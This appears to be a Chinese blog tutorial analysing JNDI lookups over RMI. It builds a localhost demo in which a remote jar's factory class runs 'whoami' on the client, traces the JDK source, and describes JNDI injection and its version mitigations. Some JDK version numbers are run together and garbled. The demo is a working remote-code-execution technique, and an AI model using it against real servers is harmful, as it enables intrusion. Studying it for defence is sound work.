JNDI With RMI

JNDI with RMI

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),jndi类似于一个索引中心,允许客户端通过name发现和查找数据和对象,并将这些对象加载到本地并运行。

JNDI本事只是一种接口,具体的实现有:

  • RMI: 远程方法调用
  • CORBA: 通用对象请求代理体系结构
  • LDAP: 轻型目录访问协议
  • DNS: 域名服务

Codebase

CodeBase 官方文档

Codebase是JVM要加载类文件时的位置,其中 CLASSPATRH 被当作本地代码库,即从本地磁盘加载。除了使用本地加载方式,java还可以通过序列化动态地从远程加载类并使用。

在该方式下,客户端JVM直接通过访问资源服务器(一般为http或者ftp服务器)下载class文件,通过反射加载到本地并执行相应代码。

在该种方式下,要加载的远程类及其所依赖的类文件必须可被客户端访问。

在java RMI协议中使用Codebase

RMI机制中交互的数据是序列化形式传输的,但是传输的只是对象的数据内容,RMI本身并不会传递类的代码。当本地没有该对象的类定义时,RMI提供了一些方法可以远程加载类,也就是RMI动态加载类的特性。

当对象发送序列化数据时,会在序列化流中附加上Codebase的信息,这个信息告诉接收方到什么地方寻找该对象的执行代码。Codebase实际上是一个URL表,该URL上存放了接收方需要的类文件。

Codebase设定

远程对象的代码库由远程对象的服务器通过设置系统属性 java.rmi.server.codebase 来指定。

在JVM启动时:

  • 如果可下载类的位置在名为“webvector”的 HTTP 服务器上,在目录“export”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webvector/export/

    注意:当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在对应目录下查询类文件。

  • 如果可下载类的位置在名为“webline”的 HTTP 服务器上,在名为“mystuff.jar”的 JAR 文件中,在目录“public”(在 web 根目录下),codebase 属性设置如下所示:

    java -Djava.rmi.server.codebase=http://webline/public/mystuff.jar 0-p--p
  • 如果可下载类的位置已被分成两个 JAR 文件,“myStuff.jar”和“myOtherStuff.jar”。如果这些 JAR 文件位于不同的服务器上(名为“webfront”和“webwave”),codebase`属性设置如下所示:

    java -Djava.rmi.server.codebase="http://webfront/myStuff.jar http://webwave/myOtherStuff.jar"

或者在代码中使用 System#setProperty 方法设置配置:

System.setProperty("java.rmi.server.codebase", "ip[:port]/path [other,..]");

注意:JVM首先会在 CLASSPATH 中搜索要加载对象,当找到之后便不会进行远程加载过程。

限制

在JDK 7u216u45 版本之后,System.properties中的 java.rmi.server.useCodebaseOnly 修改为 false,也即只能从预配置的 codebase 中加载类定义。

在更之后的版本,jdk采取 trustCodebase 属性来限制jdni的使用。

RMI实现JNDI过程
  1. 远程对象的代码库由远程对象的服务器通过设置 java.rmi.server.codebase 属性来指定。RMI serverRMI resistry 注册一个绑定名称的远程对象,之后 RMI server 通过一个 remote object reference 来表示该远程对象的资源位置。

  2. RMI client 请求一个 remote object reference,引用(远程对象的stub instance)是客户端用来对远程对象进行远程方法调用的对象。

  3. RMI server 返回一个被请求的远程对象的 reference (the stub instance).

  4. Client 向 Codebase 请求目标Class定义,该 Codebase 是根据客户端之前请求的 reference (the stub instance) 来获取的。

  5. stub 所代表的的类定义(以及它需要的任何其他类)被下载到客户端。

class文件查找方式

如果所需的类文件在Webserver的根目录下,那么设置Codebase的命令行参数如下:

java -Djava.rmi.server.codebase=protocol://ip[:port]/  .. other args

当接收程序试图从该URL的Webserver上下载类文件时,它会把类的包名转化成目录,在Codebase 的对应目录下查询类文件。

如果包含多个class文件,则客户端会分多次下载对应class文件,如果找不到客户端会抛出 NoClassDefError

例如:如果传递的是类文件 com.project.test ,那么接受方就会到下面的URL去下载类文件:

protocol://ip[:port]/com/project/test.class

使用wireshark查看Client加载多个class文件时的http请求:

如果项目被打包为jar,则需要在url中指定该jar包的路径,且客户端会下载整个jar包。

-Djava.rmi.server.codebase=protocol://ip[:port]/project.jar

例如:客户端请求的class被包含在某个jar包里:

使用wireshark查看Client加载整个jar包时的http请求:

RMI 实现的 JNDI 例子

远程对象

编写要被远程载入的类:CmdExecutor类:该代码在构造时,执行传入的命令,将文本输出到执行方的终端

package exec;

import java.io.*;

public class CmdExecutor {
String cmd=null; public CmdExecutor(String cmd) throws Exception {
System.out.println("Cmd Executor is constructed. cmd: " +cmd);
this.cmd = cmd;
exec(); .
} public void exec() {
final Process process;
process = Runtime.getRuntime().exec(cmd);
try {
int value=process.waitFor();
Reader reader =new InputStreamReader(process.getInputStream());
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null){
System.out.println(line);
}
}catch (IOException e){
System.err.println("some err happened: "+ e);
}
} catch (IOException | InterruptedException e) {
System.err.println("some err happened: "+ e);
}
}
}

实际上客户端并不是直接通过获取工作类,而是需要一个实现了 ObjectFactory 的工厂类去实例化一个真实的工作类对象:该工厂类实例化一个 CmdExecutor,让该实例化对象在构造时就执行 whoami 命令;

import exec.CmdExecutor;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory; public class ExecutorFactory implements ObjectFactory {
public ExecutorFactory(){
System.out.println("ExecutorFactoryis constructed.");
} @Override
public Object getObjectInstance(Object o, Name name, Context context, Hashtable<?, ?> hashtable) throws Exception {
System.out.println("generating a new CmdExecutor...");
return new CmdExecutor("whoami");
}
}

之后将编译好的class文件或者打包好的jar包放在web服务器中(注意路径):

开启rim服务端

编写服务端,创建一个注册中心,将 name 映射到 obj:

package server;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import javax.naming.Reference;
import java.rmi.registry.Registry; public class RefRegister{
public void start(int port) throws Exception{
// 创建一个注册中心,以port作为端口
Registry registry = LocateRegistry.createRegistry(port);
Reference executorRef = new Reference("remote.exec.CmdExecutor", "remote.exec.ExecutorFactory", "http://127.0.0.1:8080/rmi-server.jar");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(executorRef); // 将Executor类绑定到 rmi://127.0.0.1:1099/exec 上
System.out.print("Binding 'refObjWrapper' to 'rim://127.0.0.1:"+port+"/'... ");
registry.bind("exec", refObjWrapper);
System.out.println("Successful");
} public static void main(String[] args) throws Exception {
new RefRegister().start(1099);
}
}

以上代码是开启1079端口运行rim服务,并将 ExecutorFactory 类绑定到与名字:exec 相绑定。

rmi协议通过将该Reference对象序列化,并传输至客户端,以此客户端得知想获取的资源位置。

这里是把hacker-service项目打包成jar文件,所以 CmdExecutor 需要映射到该jar文件的路径。

执行Server类的psvm。(public static void main),启动RMI服务。

客户端获取并加载目标class对象

客户端代码:

package client;

import javax.naming.Context;
import javax.naming.InitialContext; public class Client {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1079/exec";
Context ctx = new InitialContext();
Object obj = ctx.lookup(uri);
System.out.println(obj.getClass());
}
}
解除版本限制
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

这两个语句的作用是解除 rmi 与 ldap 的加载远程类Codebase的限制。

如果不设置"com.sun.jndi.rmi.object.trustURLCodebase""true",则可能抛出以下错误:

Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at client.Client.run(Client.java:12)
at Application.main(Application.java:4)

即默认不信任指定的Codebase;

如果不设置 "com.sun.jndi.ldap.object.trustURLCodebase""true" ,则 ctx.lookup(uri) 会返回一个javax.naming.Reference 对象,而不是真正的预期class实例,原因可能是当获取Reference对象并解析资源位置时,会调用ladp协议获取真正的资源。(?ISSUE)

执行Client类的psvm,输出如下:

➜  java client.Client
ExecutorFactory is constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: niss
class exec.CmdExecutor
  1. 远程工厂类首先被实例化。
  2. 工厂类的getObjectInstance 被调用。
  3. 接口方法返回一个 exec.CmdExecutor 对象,并在构造方法中执行 whoami命令。

如果以root权限运行客户端:

➜  sudo java client.Client
[sudo] password for niss:
ExecutorFactoryis constructed.
generating a new CmdExecutor...
Cmd Executor is constructed. cmd: whoami
exec.CmdExecutor ==> whoami: root
class exec.CmdExecutor

可以看到客户端所获取的类是完完全全以本地方式运行的

源码解析

相关类

RefAddr

javax.naming.RefAddr 用于 Reference 中的类定义资源所在地址的抽象。

该类为抽象类,需要实现 getContent() 方法;

最常用的为 StringRefAddr

public class StringRefAddr extends RefAddr {
private String contents;
public StringRefAddr(String addrType, String addr) {
super(addrType);
contents = addr;
}
public Object getContent() {return contents;}
private static final long serialVersionUID = -8913762495138505527L;
}
  • contents:具体的地址;
Reference

javax.naming.Reference

该类包含4个属性:

  • className:被引用的远程调用类名;
  • all:被引用的类所在地址向量;
  • classFactory:用于生成该类的工厂类名;
  • classFactoryLocation:工厂类地址;

注意:第三个构造方法为 Reference(ClassName, classFactory, classFactoryLocation) ,并没有设置被引用类的地址。

RemoteRefrence

com.sun.jndi.rmi.registry.RemoteReference 接口,用于获取 Reference 对象。

public interface RemoteReference extends Remote {
Reference getReference() throws NamingException, RemoteException;
}
ReferenceWrapper

com.sun.jndi.rmi.registry.ReferenceWrapper 类,作为 Reference 类的包装类,实现了 RemoteReference接口;并且其继承于 UnicastRemoteObject ,使其可以作为Stub并远程传输 。

public class ReferenceWrapper
extends UnicastRemoteObject
implements RemoteReference
{
protected Reference wrappee; // reference being wrapped public ReferenceWrapper(Reference wrappee)
throws NamingException, RemoteException
{
this.wrappee = wrappee;
} public Reference getReference() throws RemoteException {
return wrappee;
} private static final long serialVersionUID = 6078186197417641456L;
}

:利用 register#lookup(String) 方法获取传输到客户端的类型,发现客户端获取的为 ReferenceWrapper_Stub,可以通过反射调用 getReference 方法获取真实的 Reference

Registry registry = LocateRegistry.getRegistry("127.0.0.1", port, Socket::new);
System.out.println(registry.getClass());
Object wrapper = registry.lookup("exec");
System.out.println(Arrays.toString(wrapper.getClass().getInterfaces()));
Method method = wrapper.getClass().getDeclaredMethod("getReference");
Reference ref = (Reference) method.invoke(wrapper);
System.out.println(ref.getClass());
System.out.println("\t"+ref.getClassName()+"\n\t"+ref.getFactoryClassName()+"\n\t"+ref.getFactoryClassLocation()+"\n\t"); class com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
[interface com.sun.jndi.rmi.registry.RemoteReference, interface java.rmi.Remote]
class javax.naming.Reference
remote.exec.CmdExecutor
remote.exec.ExecutorFactory
http://127.0.0.1:8080/rmi-server.jar

方法加载过程

大概方法调用栈过程:

<init>:217, VersionHelper12$7 (com.sun.naming.internal)
getContextClassLoader:216, VersionHelper12 (com.sun.naming.internal)
loadClassWithoutInit:65, VersionHelper12 (com.sun.naming.internal)
getObjectFactoryFromReference:148, NamingManager (javax.naming.spi)
getObjectInstance:330, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
run:12, Client (client)
main:5, Application

lookup 方法会调用 javax.naming.InitialContext#getURLOrDefaultInitCtx(java.lang.String) 方法,先判断传入的协议类型,再去获取一个Context。

可以看出根据传入的 rmi://127.0.0.1:1079/exec,该方法返回了一个 rmiURLContext 对象。

接下来便会根据协议路径来尝试获取 Reference 对象。

根据协议获取的 rmiURLContext 对象的 lookup 方法中,会对协议进行解析,获取对应的 Context 以及 协议URL中的各种字段。

最终会进入 ctx.lookup 方法:

RegistryContext

进入方法,发现获取的 Context 的实现类为 RegistryContext

public class RegistryContext implements Context, Referenceable {

    private Hashtable<String, Object> environment;
private Registry registry;
private String host;
private int port;
private static final NameParser nameParser = new AtomicNameParser();
private static final String SOCKET_FACTORY = "com.sun.jndi.rmi.factory.socket";
/**
* Determines whether classes may be loaded from an arbitrary URL code base.
*/
static final boolean trustURLCodebase;
static {
// System property to control whether classes may be loaded from an
// arbitrary URL codebase
PrivilegedAction<String> act = () -> System.getProperty(
"com.sun.jndi.rmi.object.trustURLCodebase", "false");
String trust = AccessController.doPrivileged(act);
trustURLCodebase = "true".equalsIgnoreCase(trust);
} Reference reference = null; // ref used to create this context, if any // Environment property that, if set, indicates that a security
// manager should be installed (if none is already in place).
public static final String SECURITY_MGR =
"java.naming.rmi.security.manager";
...

该类中包含一个静态代码快,用于获取系统属性 com.sun.jndi.rmi.object.trustURLCodebase 判断是否为 "true",并将结果赋值给属性 trustURLCodebase

在该类的构造方法中,通过前面对协议URL解析出的host、port来获取一个 Registry (实际上是一个 RegisterImpl_Stub,正好符合RMI的调用过程);

之后通过 registry.lookup 方法获取服务端绑定的远程对象的引用包装 ReferenceWrapper(实际上是 ReferenceWrapper_Stub):

之后调用 this.decodeObject 方法,根据 Reference 提供的URL来获取真正的类资源。

decodeObject

该方法会判断之前 registry.lookup 的返回对象是否为 RemoteReference 接口的实现类,由于返回的是一个 ReferenceWrapper_Stub ,所以条件为真,调用接口方法 getReference 获取真正的 Reference 对象: ref

之后进入条件判断 ref 不为 null,,ref.getFactoryClassLocation 不为 null ,但是 trustURLCodefalse,之后会抛出 ConfigurationException

这也是系统属性 com.sun.jndi.rmi.object.trustURLCodebase 真正起作用的地方,只有设置为 true 之后才不会进入这段代码,导致抛出异常。

InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec"); Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.
at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:495)
at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at javax.naming.InitialContext.lookup(InitialContext.java:417)

之后进入 NamingMannager.getObjectInstance 方法。

NamingMannager#getObjectInstance

参数

判断 refInfo 类型为 Reference 后,通过 ref.getFactoryClassName 获取远程工厂类名。

之后进入 getObjectFactoryFormReference 来获取工厂类Class定义。

NamingMannager#getObjectFactoryFormReference

VersionHelper12 类型对象 helpr 首先会尝试loadClassWithoutInit,而其最终调用 Class.forName 去加载工厂类:

类加载器类型为 sun.misc.Luncher

尝试在本地中加载类

由于 java 的双亲委派机制,会将 loadClass 方法不断委托到 parent (父-类加载器),最终委托到 BootStrapLoader 。由于 remote.exec.ExecutoryFactory 是网络资源,不可能在本地 Classpath 中找到,因此会返回 null

之后调用 findClass 去从外部资源中寻找Class定义:

URLClassLoader也找不到该类的定义,抛出异常 ClassNotFoundExecption

未找到并返回

返回到 getObjectFactoryFromReference 中,尝试利用 helper.loadClass 加载工厂类:

这里解释了为什么rmi方式的jndi会优先从本地classpath加载类。

VersionHelper12

VersionHelper was used by JNDI to accommodate differences between JDK 1.1.x and the Java 2 platform. As this is no longer necessary since JNDI's inclusion in the platform, this class currently serves as a set of utilities for performing system-level things, such as class-loading and reading system properties.

总之该类是一个用于在JDNI下,加载类资源的一个工具类。

final class VersionHelper12 extends VersionHelper {

    // Disallow external from creating one of these.
VersionHelper12() {
} public Class<?> loadClass(String className) throws ClassNotFoundException {
return loadClass(className, getContextClassLoader());
} public Class<?> loadClassWithoutInit(String className) throws ClassNotFoundException {
return loadClass(className, false, getContextClassLoader());
} /**
* Determines whether classes may be loaded from an arbitrary URL code base.
*/
private static final String TRUST_URL_CODEBASE_PROPERTY =
"com.sun.jndi.ldap.object.trustURLCodebase";
private static final String trustURLCodebase =
AccessController.doPrivileged(
new PrivilegedAction<String>() {
public String run() {
try {
return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
"false");
} catch (SecurityException e) {
return "false";
}
}
}
);

VersionHelper12 中,存在静态属性 trustURLCodebase(从系统属性中获取):而在之后的 loadClass(String className, String codebae) 方法中也会进行判断,是否为 true

这里才是系统属性 com.sun.jndi.ldap.object.trustURLCodebase 真正起作用的地方,必须设置为 true 才能进入之后的类加载过程。否则返回null,z最终导致 RegestryContext#getObjectInstance 方法返回 refInfo

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
InitialContext context = new InitialContext();
Object obj = context.lookup("rmi://127.0.0.1:1099/exec");
System.out.println(obj.getClass()); class javax.naming.Reference

之后通过方法 getUrlArray 方法来获取一个 URL 数组。

这也就解释了为什么在定义 codebase 时,可以使用空格分割,从而传递多个codebase

之后获取一个 URLClassLoader ,最后调用 loadClass 方法,利用该 URLClassLoader 加载工厂类。

最终成功加载类定义后,返回到getObjectFactoryFromReference,调用 clas.newInstance 方法成一个工厂类实例:

远程对象的实例生成

终于到最后一步了,前面的 getObjectFactoryFromReference 方法结束后,返回工厂类实例,之后调用接口 getObjectInstance 方法,生成一个新的远程对象:

发现IDEA的debug已经定位到jar包的资源:

为了生成 CmdExecutor ,之后还会尝试使用 URLClassLoader 去加载该类定义:

经历一系列套娃 loadClass 后,CmdExecutor 终于被成功加载,并实例化:

之后各种返回,将ExecutorFactory 实例生成的 CmdExecutor 实例返回:

Jndi注入

事实上如果java代码中,用户的输入与类的加载(InitialContext#lookup)相关,那么很可能用户输入一个自己编写的jndi服务地址,并且用户将想执行的代码编写至一个class文件中,最终服务器将会加载用户指定的类,并执行对应的构造方法或者其他方法。

当然以上都是手动在客户端代码中解除了 trustURLCodebase 限制之后的效果,而在java1.8之后,虽然jdk默认禁止加载远程class,但依然存在jdni注入威胁。

JDK 5U456U457u218u121 及其之后 java.rmi.server.useCodebaseOnly 默认值为 "true".

JDK 6u1327u1228u113 及其之后 com.sun.jndi.rmi.object.trustURLCodebase 默认值为"false".

JDK 11.0.18u1917u2016u211 及其之后 com.sun.jndi.ldap.object.trustURLCodebase 默认值为"false".


参考

JNDI With RMI的更多相关文章

  1. J2EE学习记录,EJB,JNDI,RMI

    Java EE 是java平台企业版(Java Platform Enterprise Edition)缩写,是Sum公司为企业级应用推出的标准平台. 随着Java技术的发展,J2EE平台得到了迅速的 ...

  2. J2EE相关概念,EJB/JNDI/JMS/RMI等

    J2EE 四层模型 J2EE的核心API.组件.相关概念 JDBC(Java Database Connectivity) JNDI(Java Name and Directory Interface ...

  3. ZooKeeper伪分布集群安装及使用 RMI+ZooKeeper实现远程调用框架

    使用 RMI + ZooKeeper 实现远程调用框架,包括ZooKeeper伪集群安装和代码实现两部分.  一.ZooKeeper伪集群安装: 1>获取ZooKeeper安装包 下载地址:ht ...

  4. jboss部署出现jboss.naming.context.java.rmi找不到错误

    最近,在机器人程序中使用jmx,准备做个远程调用,客户端是web,部署在jboss上,本地测试的都好好的,发到预发布上就是不行, 错误描述: Failed to retrieve RMIServer ...

  5. 使用 RMI + ZooKeeper 实现远程调用框架

    目录[-] 1 发布 RMI 服务1.1 定义一个 RMI 接口1.2 编写 RMI 接口的实现类1.3 通过 JNDI 发布 RMI 服务2 调用 RMI 服务3 RMI 服务的局限性4 使用 Zo ...

  6. appserver WildFly 8.1 / jboss debug / jboss rmi

    s 开启jboss debug模式,服务端口8787. [jbossuser@lindowsdevapp04 ~]$ vim /opt/wildfly/bin/standalone.conf JAVA ...

  7. 对JAVA RMI的认识

    RMI的定义 RPC (Remote Procedure Call):远程方法调用,用于一个进程调用另一个进程中的过程,从而提供了过程的分布能力. RMI(Remote Method Invocati ...

  8. RMI(远程方法调用)

    Remote Method Invocation  跨虚拟机间调用 使用 RMI 技术可轻松将 服务提供者(Service Provider)与 服务消费者(Service Consumer)进行分离 ...

  9. Java安全之JNDI注入

    Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...

随机推荐

  1. Solution -「NOI 2012」「洛谷 P2050」美食节

    \(\mathcal{Description}\)   Link.   美食节提供 \(n\) 种菜品,第 \(i\) 种的需求量是 \(p_i\),菜品由 \(m\) 个厨师负责制作,第 \(j\) ...

  2. Spring高级特性之三:@Enable*注解的工作原理

    Spring Boot中阐述热插拔技术的时候,简单地提及@Enable*注解.随着多种框架的应用及深入了解,@Enable*这个注解在各种框架中应用相当普及. 那么@Enable*注解工作原理是怎么样 ...

  3. 【自动化测试框架】pytest和unitttest你知道多少?区别在哪?该用哪个?

    一.大家熟知的自动化测试框架 Java JUnit.TestNG等等. python PyUnit(unittest).Pytest.Robot Framework等等 二.Pytest介绍 pyte ...

  4. 从.net开发做到云原生运维(零)——序

    1. 为什么要写这个系列的文章 大家看到标题的时候肯定会感觉到困惑,这个标题里的两件事物好像并不是很搭.说到.net开发大家一般都会想到asp.net做网站,或者是wpf和winform这类桌面开发, ...

  5. ensp上防火墙的实现

    使用ensp模拟器中的防火墙(USG6000V)配置NAT(网页版)一.NAT介绍NAT(Network Address Translation,网络地址转换):简单来说就是将内部私有地址转换成公网地 ...

  6. WEB服务蜜罐部署实验

    实验目的 了解WEB蜜罐的基本原理,掌握Trap Server的使用. 实验原理 Trap Server是一款WEB服务器蜜罐软件,它可以模拟很多不同的服务器,例如Apache. HTTP Serve ...

  7. 前端提升生产力系列三(vant3 vue3 移动端H5下拉刷新,上拉加载组件的封装)

    | 在日常的移动端开发中,经常会遇到列表的展示,以及数据量变多的情况下还会有上拉和下拉的操作.进入新公司后发现移动端好多列表,但是在看代码的时候发现,每个列表都是单独的代码,没有任何的封装,都是通过v ...

  8. 企业没有大数据技术?选择这款BI工具

    ​无论是网络时代的传统营销还是大数据营销,营销人员的任务之一就是找到目标客户,实现自己的营销目标.而我们说的大数据营销只不过是营销的工具发生了变化,营销的本质和目标是不变的. 就目前而言,现在的大数据 ...

  9. 零售BI解决方案_新零售时代转型升级思路全都在这里

    新零售是什么意思?新零售即企业以互联网为依托,通过运用大数据.人工智能等先进技术手段,对商品的生产.流通与销售过程进行升级改造,进而重塑业态结构与生态圈,并对线上服务.线下体验以及现代物流进行深度融合 ...

  10. 【C#基础概念】字面量 literal

    一.字面量定义 在计算机科学中,字面量(literal)是用于表达源代码中一个固定值的表示法(notation).几乎所有计算机编程语言都具有对基本值的字面量表示,诸如:整数.浮点数以及字符串:而有很 ...